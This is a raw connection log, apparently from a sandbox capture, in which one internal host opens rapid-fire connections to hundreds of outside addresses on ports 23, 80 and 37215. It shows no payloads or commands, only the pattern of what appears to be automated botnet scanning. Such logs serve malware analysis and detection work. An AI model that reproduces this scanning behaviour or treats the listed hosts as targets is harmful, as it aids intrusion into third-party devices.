Oct 14, 2024 17:34:15.123562098 CEST	29508	23	192.168.2.14	157.4.169.34
Oct 14, 2024 17:34:15.123573065 CEST	29508	23	192.168.2.14	45.182.118.3
Oct 14, 2024 17:34:15.123579025 CEST	29508	23	192.168.2.14	64.79.255.61
Oct 14, 2024 17:34:15.123579025 CEST	29508	23	192.168.2.14	206.86.204.138
Oct 14, 2024 17:34:15.123591900 CEST	29508	23	192.168.2.14	189.254.215.3
Oct 14, 2024 17:34:15.123591900 CEST	29508	23	192.168.2.14	40.188.226.175
Oct 14, 2024 17:34:15.123595953 CEST	29508	23	192.168.2.14	47.20.125.86
Oct 14, 2024 17:34:15.123603106 CEST	29508	23	192.168.2.14	19.180.156.132
Oct 14, 2024 17:34:15.123611927 CEST	29508	23	192.168.2.14	108.144.29.134
Oct 14, 2024 17:34:15.123615026 CEST	29508	23	192.168.2.14	174.20.163.63
Oct 14, 2024 17:34:15.123620033 CEST	29508	23	192.168.2.14	132.145.248.149
Oct 14, 2024 17:34:15.123620987 CEST	29508	23	192.168.2.14	74.28.233.58
Oct 14, 2024 17:34:15.123631001 CEST	29508	23	192.168.2.14	151.147.238.249
Oct 14, 2024 17:34:15.123631954 CEST	29508	23	192.168.2.14	118.167.153.233
Oct 14, 2024 17:34:15.123637915 CEST	29508	23	192.168.2.14	91.145.134.99
Oct 14, 2024 17:34:15.123646021 CEST	29508	23	192.168.2.14	166.217.73.216
Oct 14, 2024 17:34:15.123647928 CEST	29508	23	192.168.2.14	108.179.207.78
Oct 14, 2024 17:34:15.123651028 CEST	29508	23	192.168.2.14	113.177.207.175
Oct 14, 2024 17:34:15.123652935 CEST	29508	23	192.168.2.14	2.112.7.16
Oct 14, 2024 17:34:15.123665094 CEST	29508	23	192.168.2.14	124.131.119.45
Oct 14, 2024 17:34:15.123665094 CEST	29508	23	192.168.2.14	57.154.190.34
Oct 14, 2024 17:34:15.123668909 CEST	29508	23	192.168.2.14	99.254.190.40
Oct 14, 2024 17:34:15.123676062 CEST	29508	23	192.168.2.14	105.213.125.137
Oct 14, 2024 17:34:15.123684883 CEST	29508	23	192.168.2.14	94.49.51.131
Oct 14, 2024 17:34:15.123692036 CEST	29508	23	192.168.2.14	174.177.101.127
Oct 14, 2024 17:34:15.123696089 CEST	29508	23	192.168.2.14	91.45.240.193
Oct 14, 2024 17:34:15.123696089 CEST	29508	23	192.168.2.14	66.114.35.70
Oct 14, 2024 17:34:15.123703957 CEST	29508	23	192.168.2.14	50.42.122.72
Oct 14, 2024 17:34:15.123703957 CEST	29508	23	192.168.2.14	24.103.168.222
Oct 14, 2024 17:34:15.123717070 CEST	29508	23	192.168.2.14	219.14.135.211
Oct 14, 2024 17:34:15.123718977 CEST	29508	23	192.168.2.14	115.116.212.232
Oct 14, 2024 17:34:15.123725891 CEST	29508	23	192.168.2.14	177.199.222.28
Oct 14, 2024 17:34:15.123755932 CEST	29508	23	192.168.2.14	19.74.45.64
Oct 14, 2024 17:34:15.123774052 CEST	44656	80	192.168.2.14	209.183.241.248
Oct 14, 2024 17:34:15.124254942 CEST	49574	37215	192.168.2.14	156.56.92.171
Oct 14, 2024 17:34:15.125847101 CEST	37215	29625	197.32.90.183	192.168.2.14
Oct 14, 2024 17:34:15.125894070 CEST	29625	37215	192.168.2.14	197.32.90.183
Oct 14, 2024 17:34:15.126431942 CEST	80	43984	209.183.241.248	192.168.2.14
Oct 14, 2024 17:34:15.126460075 CEST	37215	48938	156.56.92.171	192.168.2.14
Oct 14, 2024 17:34:15.135153055 CEST	37215	53008	41.121.163.72	192.168.2.14
Oct 14, 2024 17:34:15.135180950 CEST	37215	60196	156.91.72.145	192.168.2.14
Oct 14, 2024 17:34:15.139089108 CEST	37215	57674	41.51.46.101	192.168.2.14
Oct 14, 2024 17:34:15.147530079 CEST	49420	80	192.168.2.14	206.30.20.214
Oct 14, 2024 17:34:15.147531986 CEST	43342	37215	192.168.2.14	41.90.184.19
Oct 14, 2024 17:34:15.147536039 CEST	55360	23	192.168.2.14	107.127.44.94
Oct 14, 2024 17:34:15.147547007 CEST	57364	37215	192.168.2.14	197.240.59.231
Oct 14, 2024 17:34:15.147550106 CEST	51692	80	192.168.2.14	179.94.112.177
Oct 14, 2024 17:34:15.147550106 CEST	56930	80	192.168.2.14	162.75.203.19
Oct 14, 2024 17:34:15.147547960 CEST	41190	37215	192.168.2.14	156.36.202.204
Oct 14, 2024 17:34:15.147550106 CEST	35152	23	192.168.2.14	182.239.10.92
Oct 14, 2024 17:34:15.147558928 CEST	50000	80	192.168.2.14	25.113.143.7
Oct 14, 2024 17:34:15.147561073 CEST	46404	80	192.168.2.14	130.62.37.57
Oct 14, 2024 17:34:15.147561073 CEST	49336	37215	192.168.2.14	156.120.9.252
Oct 14, 2024 17:34:15.147561073 CEST	59762	37215	192.168.2.14	41.249.65.64
Oct 14, 2024 17:34:15.147561073 CEST	44804	80	192.168.2.14	124.132.203.192
Oct 14, 2024 17:34:15.147561073 CEST	43774	23	192.168.2.14	42.80.55.218
Oct 14, 2024 17:34:15.147567034 CEST	38518	23	192.168.2.14	79.95.164.75
Oct 14, 2024 17:34:15.147633076 CEST	53194	80	192.168.2.14	139.135.199.65
Oct 14, 2024 17:34:15.147635937 CEST	43734	37215	192.168.2.14	156.187.172.121
Oct 14, 2024 17:34:15.147633076 CEST	57748	37215	192.168.2.14	156.194.35.155
Oct 14, 2024 17:34:15.147633076 CEST	43188	23	192.168.2.14	158.40.178.180
Oct 14, 2024 17:34:15.147633076 CEST	43112	80	192.168.2.14	196.255.195.209
Oct 14, 2024 17:34:15.147633076 CEST	42416	23	192.168.2.14	149.0.234.84
Oct 14, 2024 17:34:15.147635937 CEST	38542	23	192.168.2.14	111.156.255.9
Oct 14, 2024 17:34:15.147635937 CEST	34730	23	192.168.2.14	211.30.55.68
Oct 14, 2024 17:34:15.147635937 CEST	49622	37215	192.168.2.14	41.123.46.174
Oct 14, 2024 17:34:15.152462006 CEST	80	49420	206.30.20.214	192.168.2.14
Oct 14, 2024 17:34:15.152492046 CEST	37215	43342	41.90.184.19	192.168.2.14
Oct 14, 2024 17:34:15.152636051 CEST	49420	80	192.168.2.14	206.30.20.214
Oct 14, 2024 17:34:15.152636051 CEST	49420	80	192.168.2.14	206.30.20.214
Oct 14, 2024 17:34:15.152636051 CEST	49420	80	192.168.2.14	206.30.20.214
Oct 14, 2024 17:34:15.152637959 CEST	43342	37215	192.168.2.14	41.90.184.19
Oct 14, 2024 17:34:15.152998924 CEST	50048	80	192.168.2.14	206.30.20.214
Oct 14, 2024 17:34:15.153430939 CEST	44544	37215	192.168.2.14	197.32.90.183
Oct 14, 2024 17:34:15.154019117 CEST	43342	37215	192.168.2.14	41.90.184.19
Oct 14, 2024 17:34:15.154019117 CEST	43342	37215	192.168.2.14	41.90.184.19
Oct 14, 2024 17:34:15.154294014 CEST	43972	37215	192.168.2.14	41.90.184.19
Oct 14, 2024 17:34:15.157655001 CEST	80	49420	206.30.20.214	192.168.2.14
Oct 14, 2024 17:34:15.158744097 CEST	80	50048	206.30.20.214	192.168.2.14
Oct 14, 2024 17:34:15.158807993 CEST	37215	43342	41.90.184.19	192.168.2.14
Oct 14, 2024 17:34:15.158809900 CEST	50048	80	192.168.2.14	206.30.20.214
Oct 14, 2024 17:34:15.158809900 CEST	50048	80	192.168.2.14	206.30.20.214
Oct 14, 2024 17:34:15.163891077 CEST	80	50048	206.30.20.214	192.168.2.14
Oct 14, 2024 17:34:15.163938999 CEST	50048	80	192.168.2.14	206.30.20.214
Oct 14, 2024 17:34:15.167156935 CEST	37215	48938	156.56.92.171	192.168.2.14
Oct 14, 2024 17:34:15.167185068 CEST	80	43984	209.183.241.248	192.168.2.14
Oct 14, 2024 17:34:15.179660082 CEST	34288	80	192.168.2.14	8.160.109.226
Oct 14, 2024 17:34:15.179660082 CEST	40442	80	192.168.2.14	108.81.130.89
Oct 14, 2024 17:34:15.179663897 CEST	35202	37215	192.168.2.14	41.125.165.215
Oct 14, 2024 17:34:15.179666996 CEST	44196	80	192.168.2.14	119.106.22.100
Oct 14, 2024 17:34:15.179668903 CEST	52250	80	192.168.2.14	84.10.168.7
Oct 14, 2024 17:34:15.179668903 CEST	55784	80	192.168.2.14	179.135.69.78
Oct 14, 2024 17:34:15.179668903 CEST	56900	37215	192.168.2.14	41.249.143.173
Oct 14, 2024 17:34:15.179668903 CEST	44228	80	192.168.2.14	175.185.50.202
Oct 14, 2024 17:34:15.179668903 CEST	45262	23	192.168.2.14	131.214.80.119
Oct 14, 2024 17:34:15.179668903 CEST	48400	23	192.168.2.14	221.54.208.3
Oct 14, 2024 17:34:15.179672003 CEST	39880	80	192.168.2.14	125.154.218.151
Oct 14, 2024 17:34:15.179672003 CEST	38340	23	192.168.2.14	125.173.163.175
Oct 14, 2024 17:34:15.179672003 CEST	33648	80	192.168.2.14	210.227.107.79
Oct 14, 2024 17:34:15.179677963 CEST	55736	37215	192.168.2.14	156.179.106.41
Oct 14, 2024 17:34:15.179677963 CEST	60314	80	192.168.2.14	189.67.193.120
Oct 14, 2024 17:34:15.179677963 CEST	50920	23	192.168.2.14	162.232.220.253
Oct 14, 2024 17:34:15.179677963 CEST	38720	80	192.168.2.14	119.219.139.178
Oct 14, 2024 17:34:15.179677963 CEST	34804	37215	192.168.2.14	197.120.235.107
Oct 14, 2024 17:34:15.179677963 CEST	60058	80	192.168.2.14	172.2.15.227
Oct 14, 2024 17:34:15.179677963 CEST	36290	80	192.168.2.14	137.46.73.168
Oct 14, 2024 17:34:15.179683924 CEST	56834	80	192.168.2.14	189.57.148.201
Oct 14, 2024 17:34:15.179687023 CEST	32856	23	192.168.2.14	65.131.60.201
Oct 14, 2024 17:34:15.179687977 CEST	37244	80	192.168.2.14	182.64.118.107
Oct 14, 2024 17:34:15.179687977 CEST	47440	80	192.168.2.14	202.214.74.20
Oct 14, 2024 17:34:15.179687977 CEST	33446	37215	192.168.2.14	156.129.238.207
Oct 14, 2024 17:34:15.179683924 CEST	33124	23	192.168.2.14	202.97.41.192
Oct 14, 2024 17:34:15.179687977 CEST	41986	80	192.168.2.14	1.215.109.242
Oct 14, 2024 17:34:15.179685116 CEST	39042	80	192.168.2.14	71.35.129.124
Oct 14, 2024 17:34:15.179687977 CEST	60896	80	192.168.2.14	87.235.146.102
Oct 14, 2024 17:34:15.185903072 CEST	80	34288	8.160.109.226	192.168.2.14
Oct 14, 2024 17:34:15.185931921 CEST	37215	35202	41.125.165.215	192.168.2.14
Oct 14, 2024 17:34:15.185949087 CEST	34288	80	192.168.2.14	8.160.109.226
Oct 14, 2024 17:34:15.186032057 CEST	34288	80	192.168.2.14	8.160.109.226
Oct 14, 2024 17:34:15.186032057 CEST	34288	80	192.168.2.14	8.160.109.226
Oct 14, 2024 17:34:15.186058044 CEST	35202	37215	192.168.2.14	41.125.165.215
Oct 14, 2024 17:34:15.186116934 CEST	35202	37215	192.168.2.14	41.125.165.215
Oct 14, 2024 17:34:15.186116934 CEST	35202	37215	192.168.2.14	41.125.165.215
Oct 14, 2024 17:34:15.186208010 CEST	80	40442	108.81.130.89	192.168.2.14
Oct 14, 2024 17:34:15.186240911 CEST	40442	80	192.168.2.14	108.81.130.89
Oct 14, 2024 17:34:15.186314106 CEST	34346	80	192.168.2.14	8.160.109.226
Oct 14, 2024 17:34:15.186995029 CEST	40442	80	192.168.2.14	108.81.130.89
Oct 14, 2024 17:34:15.186995029 CEST	40442	80	192.168.2.14	108.81.130.89
Oct 14, 2024 17:34:15.187191010 CEST	35768	37215	192.168.2.14	41.125.165.215
Oct 14, 2024 17:34:15.187561989 CEST	40510	80	192.168.2.14	108.81.130.89
Oct 14, 2024 17:34:15.190916061 CEST	80	34288	8.160.109.226	192.168.2.14
Oct 14, 2024 17:34:15.191046000 CEST	37215	35202	41.125.165.215	192.168.2.14
Oct 14, 2024 17:34:15.191819906 CEST	80	40442	108.81.130.89	192.168.2.14
Oct 14, 2024 17:34:15.203161001 CEST	80	49420	206.30.20.214	192.168.2.14
Oct 14, 2024 17:34:15.203216076 CEST	37215	43342	41.90.184.19	192.168.2.14
Oct 14, 2024 17:34:15.211515903 CEST	36408	37215	192.168.2.14	156.251.221.106
Oct 14, 2024 17:34:15.211519957 CEST	42784	37215	192.168.2.14	41.194.65.164
Oct 14, 2024 17:34:15.211530924 CEST	50272	37215	192.168.2.14	156.46.198.66
Oct 14, 2024 17:34:15.211544037 CEST	57624	37215	192.168.2.14	156.255.41.208
Oct 14, 2024 17:34:15.211546898 CEST	37042	37215	192.168.2.14	156.237.87.22
Oct 14, 2024 17:34:15.211610079 CEST	48844	37215	192.168.2.14	156.234.55.245
Oct 14, 2024 17:34:15.211610079 CEST	58722	37215	192.168.2.14	197.46.174.232
Oct 14, 2024 17:34:15.211738110 CEST	41150	80	192.168.2.14	45.86.215.195
Oct 14, 2024 17:34:15.211741924 CEST	45946	80	192.168.2.14	213.100.205.114
Oct 14, 2024 17:34:15.211743116 CEST	35998	23	192.168.2.14	183.129.63.177
Oct 14, 2024 17:34:15.211743116 CEST	41824	80	192.168.2.14	194.205.16.227
Oct 14, 2024 17:34:15.211743116 CEST	33644	80	192.168.2.14	205.147.119.75
Oct 14, 2024 17:34:15.211746931 CEST	35018	80	192.168.2.14	103.139.150.139
Oct 14, 2024 17:34:15.211746931 CEST	55862	80	192.168.2.14	77.159.29.87
Oct 14, 2024 17:34:15.211746931 CEST	36130	23	192.168.2.14	59.181.204.184
Oct 14, 2024 17:34:15.211750031 CEST	42636	80	192.168.2.14	220.113.62.119
Oct 14, 2024 17:34:15.211750031 CEST	57352	23	192.168.2.14	100.30.227.235
Oct 14, 2024 17:34:15.211750031 CEST	48324	80	192.168.2.14	115.47.248.251
Oct 14, 2024 17:34:15.211754084 CEST	47410	80	192.168.2.14	95.47.200.226
Oct 14, 2024 17:34:15.216444016 CEST	37215	36408	156.251.221.106	192.168.2.14
Oct 14, 2024 17:34:15.216487885 CEST	37215	50272	156.46.198.66	192.168.2.14
Oct 14, 2024 17:34:15.216495991 CEST	36408	37215	192.168.2.14	156.251.221.106
Oct 14, 2024 17:34:15.216517925 CEST	37215	42784	41.194.65.164	192.168.2.14
Oct 14, 2024 17:34:15.216527939 CEST	50272	37215	192.168.2.14	156.46.198.66
Oct 14, 2024 17:34:15.216556072 CEST	42784	37215	192.168.2.14	41.194.65.164
Oct 14, 2024 17:34:15.216597080 CEST	36408	37215	192.168.2.14	156.251.221.106
Oct 14, 2024 17:34:15.216597080 CEST	36408	37215	192.168.2.14	156.251.221.106
Oct 14, 2024 17:34:15.216877937 CEST	36946	37215	192.168.2.14	156.251.221.106
Oct 14, 2024 17:34:15.217267036 CEST	50272	37215	192.168.2.14	156.46.198.66
Oct 14, 2024 17:34:15.217267036 CEST	50272	37215	192.168.2.14	156.46.198.66
Oct 14, 2024 17:34:15.217534065 CEST	50784	37215	192.168.2.14	156.46.198.66
Oct 14, 2024 17:34:15.217899084 CEST	42784	37215	192.168.2.14	41.194.65.164
Oct 14, 2024 17:34:15.217899084 CEST	42784	37215	192.168.2.14	41.194.65.164
Oct 14, 2024 17:34:15.218173027 CEST	43310	37215	192.168.2.14	41.194.65.164
Oct 14, 2024 17:34:15.221575975 CEST	37215	36408	156.251.221.106	192.168.2.14
Oct 14, 2024 17:34:15.222176075 CEST	37215	50272	156.46.198.66	192.168.2.14
Oct 14, 2024 17:34:15.222700119 CEST	37215	42784	41.194.65.164	192.168.2.14
Oct 14, 2024 17:34:15.231178999 CEST	80	34288	8.160.109.226	192.168.2.14
Oct 14, 2024 17:34:15.239156961 CEST	80	40442	108.81.130.89	192.168.2.14
Oct 14, 2024 17:34:15.239185095 CEST	37215	35202	41.125.165.215	192.168.2.14
Oct 14, 2024 17:34:15.243514061 CEST	52682	37215	192.168.2.14	197.132.23.190
Oct 14, 2024 17:34:15.243521929 CEST	41606	80	192.168.2.14	183.57.37.96
Oct 14, 2024 17:34:15.243522882 CEST	59940	37215	192.168.2.14	197.188.25.161
Oct 14, 2024 17:34:15.243521929 CEST	50156	37215	192.168.2.14	41.127.205.23
Oct 14, 2024 17:34:15.243522882 CEST	54710	80	192.168.2.14	219.202.142.173
Oct 14, 2024 17:34:15.243522882 CEST	42888	37215	192.168.2.14	197.106.106.67
Oct 14, 2024 17:34:15.243534088 CEST	47172	37215	192.168.2.14	197.176.10.14
Oct 14, 2024 17:34:15.243535042 CEST	53432	37215	192.168.2.14	156.159.96.221
Oct 14, 2024 17:34:15.243535042 CEST	45036	37215	192.168.2.14	156.150.111.127
Oct 14, 2024 17:34:15.243537903 CEST	58094	80	192.168.2.14	83.98.205.147
Oct 14, 2024 17:34:15.243537903 CEST	35206	37215	192.168.2.14	41.169.155.72
Oct 14, 2024 17:34:15.243542910 CEST	55520	37215	192.168.2.14	41.249.126.241
Oct 14, 2024 17:34:15.243542910 CEST	59354	80	192.168.2.14	155.29.92.241
Oct 14, 2024 17:34:15.243542910 CEST	36270	37215	192.168.2.14	156.124.209.153
Oct 14, 2024 17:34:15.243542910 CEST	43576	80	192.168.2.14	96.175.251.118
Oct 14, 2024 17:34:15.243542910 CEST	58166	37215	192.168.2.14	197.10.15.48
Oct 14, 2024 17:34:15.243542910 CEST	41732	80	192.168.2.14	52.186.86.108
Oct 14, 2024 17:34:15.243551970 CEST	33622	80	192.168.2.14	195.140.177.192
Oct 14, 2024 17:34:15.243560076 CEST	45158	80	192.168.2.14	24.22.140.5
Oct 14, 2024 17:34:15.248450041 CEST	80	41606	183.57.37.96	192.168.2.14
Oct 14, 2024 17:34:15.248481989 CEST	37215	59940	197.188.25.161	192.168.2.14
Oct 14, 2024 17:34:15.248509884 CEST	37215	52682	197.132.23.190	192.168.2.14
Oct 14, 2024 17:34:15.248600960 CEST	52682	37215	192.168.2.14	197.132.23.190
Oct 14, 2024 17:34:15.248603106 CEST	41606	80	192.168.2.14	183.57.37.96
Oct 14, 2024 17:34:15.248604059 CEST	59940	37215	192.168.2.14	197.188.25.161
Oct 14, 2024 17:34:15.248613119 CEST	41606	80	192.168.2.14	183.57.37.96
Oct 14, 2024 17:34:15.248613119 CEST	41606	80	192.168.2.14	183.57.37.96
Oct 14, 2024 17:34:15.248698950 CEST	52682	37215	192.168.2.14	197.132.23.190
Oct 14, 2024 17:34:15.248698950 CEST	52682	37215	192.168.2.14	197.132.23.190
Oct 14, 2024 17:34:15.249046087 CEST	42104	80	192.168.2.14	183.57.37.96
Oct 14, 2024 17:34:15.249821901 CEST	53184	37215	192.168.2.14	197.132.23.190
Oct 14, 2024 17:34:15.250257969 CEST	59940	37215	192.168.2.14	197.188.25.161
Oct 14, 2024 17:34:15.250257969 CEST	59940	37215	192.168.2.14	197.188.25.161
Oct 14, 2024 17:34:15.250628948 CEST	60440	37215	192.168.2.14	197.188.25.161
Oct 14, 2024 17:34:15.253484964 CEST	80	41606	183.57.37.96	192.168.2.14
Oct 14, 2024 17:34:15.253678083 CEST	37215	52682	197.132.23.190	192.168.2.14
Oct 14, 2024 17:34:15.255093098 CEST	37215	59940	197.188.25.161	192.168.2.14
Oct 14, 2024 17:34:15.263114929 CEST	37215	50272	156.46.198.66	192.168.2.14
Oct 14, 2024 17:34:15.263143063 CEST	37215	36408	156.251.221.106	192.168.2.14
Oct 14, 2024 17:34:15.267163038 CEST	37215	42784	41.194.65.164	192.168.2.14
Oct 14, 2024 17:34:15.275516987 CEST	35964	37215	192.168.2.14	156.235.118.232
Oct 14, 2024 17:34:15.275516987 CEST	34810	37215	192.168.2.14	156.247.75.253
Oct 14, 2024 17:34:15.275521994 CEST	53966	37215	192.168.2.14	41.237.110.7
Oct 14, 2024 17:34:15.275521040 CEST	55122	37215	192.168.2.14	156.82.93.89
Oct 14, 2024 17:34:15.275526047 CEST	60518	37215	192.168.2.14	41.213.174.168
Oct 14, 2024 17:34:15.275531054 CEST	59616	37215	192.168.2.14	197.137.33.210
Oct 14, 2024 17:34:15.275537014 CEST	46824	37215	192.168.2.14	41.132.34.4
Oct 14, 2024 17:34:15.275537014 CEST	47620	37215	192.168.2.14	197.16.59.197
Oct 14, 2024 17:34:15.275541067 CEST	38924	37215	192.168.2.14	41.247.4.72
Oct 14, 2024 17:34:15.275542974 CEST	46538	37215	192.168.2.14	197.91.19.18
Oct 14, 2024 17:34:15.275542974 CEST	41108	37215	192.168.2.14	156.145.191.117
Oct 14, 2024 17:34:15.275547981 CEST	43728	80	192.168.2.14	179.243.100.148
Oct 14, 2024 17:34:15.275548935 CEST	59028	37215	192.168.2.14	197.12.54.70
Oct 14, 2024 17:34:15.275548935 CEST	35194	80	192.168.2.14	65.17.82.35
Oct 14, 2024 17:34:15.275549889 CEST	46020	80	192.168.2.14	39.152.22.181
Oct 14, 2024 17:34:15.275553942 CEST	40042	80	192.168.2.14	217.202.74.124
Oct 14, 2024 17:34:15.275553942 CEST	59266	80	192.168.2.14	19.180.62.161
Oct 14, 2024 17:34:15.275563955 CEST	57284	80	192.168.2.14	188.102.90.35
Oct 14, 2024 17:34:15.280831099 CEST	37215	35964	156.235.118.232	192.168.2.14
Oct 14, 2024 17:34:15.280894041 CEST	37215	53966	41.237.110.7	192.168.2.14
Oct 14, 2024 17:34:15.280924082 CEST	37215	34810	156.247.75.253	192.168.2.14
Oct 14, 2024 17:34:15.281030893 CEST	35964	37215	192.168.2.14	156.235.118.232
Oct 14, 2024 17:34:15.281030893 CEST	34810	37215	192.168.2.14	156.247.75.253
Oct 14, 2024 17:34:15.281030893 CEST	35964	37215	192.168.2.14	156.235.118.232
Oct 14, 2024 17:34:15.281030893 CEST	35964	37215	192.168.2.14	156.235.118.232
Oct 14, 2024 17:34:15.281035900 CEST	53966	37215	192.168.2.14	41.237.110.7
Oct 14, 2024 17:34:15.281269073 CEST	36414	37215	192.168.2.14	156.235.118.232
Oct 14, 2024 17:34:15.282814980 CEST	53966	37215	192.168.2.14	41.237.110.7
Oct 14, 2024 17:34:15.282814980 CEST	53966	37215	192.168.2.14	41.237.110.7
Oct 14, 2024 17:34:15.283243895 CEST	54402	37215	192.168.2.14	41.237.110.7
Oct 14, 2024 17:34:15.283766031 CEST	34810	37215	192.168.2.14	156.247.75.253
Oct 14, 2024 17:34:15.283766031 CEST	34810	37215	192.168.2.14	156.247.75.253
Oct 14, 2024 17:34:15.286114931 CEST	35260	37215	192.168.2.14	156.247.75.253
Oct 14, 2024 17:34:15.286159992 CEST	37215	35964	156.235.118.232	192.168.2.14
Oct 14, 2024 17:34:15.286190033 CEST	37215	36414	156.235.118.232	192.168.2.14
Oct 14, 2024 17:34:15.286231041 CEST	36414	37215	192.168.2.14	156.235.118.232
Oct 14, 2024 17:34:15.287688971 CEST	37215	53966	41.237.110.7	192.168.2.14
Oct 14, 2024 17:34:15.288588047 CEST	36414	37215	192.168.2.14	156.235.118.232
Oct 14, 2024 17:34:15.288604975 CEST	37215	34810	156.247.75.253	192.168.2.14
Oct 14, 2024 17:34:15.293654919 CEST	37215	36414	156.235.118.232	192.168.2.14
Oct 14, 2024 17:34:15.293800116 CEST	36414	37215	192.168.2.14	156.235.118.232
Oct 14, 2024 17:34:15.295173883 CEST	37215	52682	197.132.23.190	192.168.2.14
Oct 14, 2024 17:34:15.295202971 CEST	80	41606	183.57.37.96	192.168.2.14
Oct 14, 2024 17:34:15.299123049 CEST	37215	59940	197.188.25.161	192.168.2.14
Oct 14, 2024 17:34:15.307622910 CEST	44206	37215	192.168.2.14	156.251.156.83
Oct 14, 2024 17:34:15.307622910 CEST	59424	80	192.168.2.14	77.3.150.192
Oct 14, 2024 17:34:15.307635069 CEST	37776	37215	192.168.2.14	41.11.224.152
Oct 14, 2024 17:34:15.307635069 CEST	54598	80	192.168.2.14	41.160.73.54
Oct 14, 2024 17:34:15.307636023 CEST	60642	80	192.168.2.14	122.159.191.31
Oct 14, 2024 17:34:15.307635069 CEST	48714	80	192.168.2.14	2.17.128.182
Oct 14, 2024 17:34:15.307637930 CEST	55198	37215	192.168.2.14	156.184.177.20
Oct 14, 2024 17:34:15.307636023 CEST	37324	80	192.168.2.14	170.3.182.62
Oct 14, 2024 17:34:15.307651043 CEST	60234	37215	192.168.2.14	156.57.110.204
Oct 14, 2024 17:34:15.307651043 CEST	46578	80	192.168.2.14	38.167.16.183
Oct 14, 2024 17:34:15.307651043 CEST	36020	80	192.168.2.14	211.76.58.110
Oct 14, 2024 17:34:15.307651043 CEST	38638	80	192.168.2.14	115.51.250.229
Oct 14, 2024 17:34:15.307653904 CEST	47240	80	192.168.2.14	69.163.97.129
Oct 14, 2024 17:34:15.307653904 CEST	42234	80	192.168.2.14	222.129.54.144
Oct 14, 2024 17:34:15.307655096 CEST	50772	37215	192.168.2.14	197.6.160.49
Oct 14, 2024 17:34:15.307660103 CEST	48330	80	192.168.2.14	13.221.127.199
Oct 14, 2024 17:34:15.307660103 CEST	47314	80	192.168.2.14	58.0.13.163
Oct 14, 2024 17:34:15.307660103 CEST	54024	80	192.168.2.14	69.215.22.231
Oct 14, 2024 17:34:15.307660103 CEST	36734	80	192.168.2.14	115.173.179.104
Oct 14, 2024 17:34:15.307662010 CEST	40966	80	192.168.2.14	1.23.69.72
Oct 14, 2024 17:34:15.312609911 CEST	37215	44206	156.251.156.83	192.168.2.14
Oct 14, 2024 17:34:15.312644005 CEST	80	59424	77.3.150.192	192.168.2.14
Oct 14, 2024 17:34:15.312659025 CEST	44206	37215	192.168.2.14	156.251.156.83
Oct 14, 2024 17:34:15.312778950 CEST	59424	80	192.168.2.14	77.3.150.192
Oct 14, 2024 17:34:15.312778950 CEST	59424	80	192.168.2.14	77.3.150.192
Oct 14, 2024 17:34:15.312778950 CEST	59424	80	192.168.2.14	77.3.150.192
Oct 14, 2024 17:34:15.312866926 CEST	44206	37215	192.168.2.14	156.251.156.83
Oct 14, 2024 17:34:15.312866926 CEST	44206	37215	192.168.2.14	156.251.156.83
Oct 14, 2024 17:34:15.315593004 CEST	59828	80	192.168.2.14	77.3.150.192
Oct 14, 2024 17:34:15.317717075 CEST	80	59424	77.3.150.192	192.168.2.14
Oct 14, 2024 17:34:15.317744970 CEST	37215	44206	156.251.156.83	192.168.2.14
Oct 14, 2024 17:34:15.318268061 CEST	44614	37215	192.168.2.14	156.251.156.83
Oct 14, 2024 17:34:15.320487976 CEST	80	59828	77.3.150.192	192.168.2.14
Oct 14, 2024 17:34:15.320559978 CEST	59828	80	192.168.2.14	77.3.150.192
Oct 14, 2024 17:34:15.320560932 CEST	59828	80	192.168.2.14	77.3.150.192
Oct 14, 2024 17:34:15.329284906 CEST	37215	35964	156.235.118.232	192.168.2.14
Oct 14, 2024 17:34:15.329313040 CEST	80	59828	77.3.150.192	192.168.2.14
Oct 14, 2024 17:34:15.330368996 CEST	80	59828	77.3.150.192	192.168.2.14
Oct 14, 2024 17:34:15.330477953 CEST	59828	80	192.168.2.14	77.3.150.192
Oct 14, 2024 17:34:15.335190058 CEST	37215	34810	156.247.75.253	192.168.2.14
Oct 14, 2024 17:34:15.335218906 CEST	37215	53966	41.237.110.7	192.168.2.14
Oct 14, 2024 17:34:15.339610100 CEST	53196	37215	192.168.2.14	156.28.130.182
Oct 14, 2024 17:34:15.339615107 CEST	38218	80	192.168.2.14	219.61.31.247
Oct 14, 2024 17:34:15.339615107 CEST	53872	37215	192.168.2.14	41.201.37.141
Oct 14, 2024 17:34:15.339615107 CEST	59448	37215	192.168.2.14	156.209.75.123
Oct 14, 2024 17:34:15.339617968 CEST	60594	37215	192.168.2.14	197.167.235.218
Oct 14, 2024 17:34:15.339617968 CEST	36050	80	192.168.2.14	188.151.101.126
Oct 14, 2024 17:34:15.339620113 CEST	44434	80	192.168.2.14	216.251.227.65
Oct 14, 2024 17:34:15.339618921 CEST	45288	80	192.168.2.14	36.186.91.48
Oct 14, 2024 17:34:15.339620113 CEST	48322	37215	192.168.2.14	41.35.142.69
Oct 14, 2024 17:34:15.339621067 CEST	37940	37215	192.168.2.14	197.240.127.95
Oct 14, 2024 17:34:15.339632988 CEST	57242	37215	192.168.2.14	156.6.115.43
Oct 14, 2024 17:34:15.339637041 CEST	58536	37215	192.168.2.14	41.45.192.137
Oct 14, 2024 17:34:15.339637041 CEST	36332	80	192.168.2.14	145.152.55.80
Oct 14, 2024 17:34:15.339638948 CEST	38312	37215	192.168.2.14	197.74.232.163
Oct 14, 2024 17:34:15.339639902 CEST	50790	37215	192.168.2.14	156.213.229.144
Oct 14, 2024 17:34:15.339639902 CEST	33518	37215	192.168.2.14	197.234.62.163
Oct 14, 2024 17:34:15.339639902 CEST	52768	37215	192.168.2.14	41.148.109.49
Oct 14, 2024 17:34:15.339639902 CEST	51458	37215	192.168.2.14	41.85.163.142
Oct 14, 2024 17:34:15.339641094 CEST	50626	37215	192.168.2.14	41.3.52.128
Oct 14, 2024 17:34:15.339639902 CEST	33000	80	192.168.2.14	222.204.47.231
Oct 14, 2024 17:34:15.339641094 CEST	50798	80	192.168.2.14	82.200.247.237
Oct 14, 2024 17:34:15.339641094 CEST	48488	37215	192.168.2.14	41.60.199.114
Oct 14, 2024 17:34:15.344531059 CEST	37215	53196	156.28.130.182	192.168.2.14
Oct 14, 2024 17:34:15.344559908 CEST	80	38218	219.61.31.247	192.168.2.14
Oct 14, 2024 17:34:15.344588041 CEST	53196	37215	192.168.2.14	156.28.130.182
Oct 14, 2024 17:34:15.344588995 CEST	37215	53872	41.201.37.141	192.168.2.14
Oct 14, 2024 17:34:15.344613075 CEST	38218	80	192.168.2.14	219.61.31.247
Oct 14, 2024 17:34:15.344641924 CEST	53872	37215	192.168.2.14	41.201.37.141
Oct 14, 2024 17:34:15.344641924 CEST	38218	80	192.168.2.14	219.61.31.247
